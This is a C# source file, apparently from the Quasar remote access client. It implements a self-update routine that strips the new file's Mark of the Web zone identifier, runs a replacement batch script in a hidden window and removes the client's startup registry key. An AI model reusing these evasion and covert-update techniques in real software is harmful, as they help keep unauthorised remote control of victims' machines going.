using Quasar.Client.Config;
using Quasar.Client.IO;
using Quasar.Common.Helpers;
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
namespace Quasar.Client.Setup
{
public class ClientUpdater : ClientSetupBase
{
public void Update(string newFilePath)
{
FileHelper.DeleteZoneIdentifier(newFilePath);
var bytes = File.ReadAllBytes(newFilePath);
if (!FileHelper.HasExecutableIdentifier(bytes))
throw new Exception("No executable file.");
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
FileName = batchFile
};
Process.Start(startInfo);
if (Settings.STARTUP)
{
var clientStartup = new ClientStartup();
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
}
}
}
}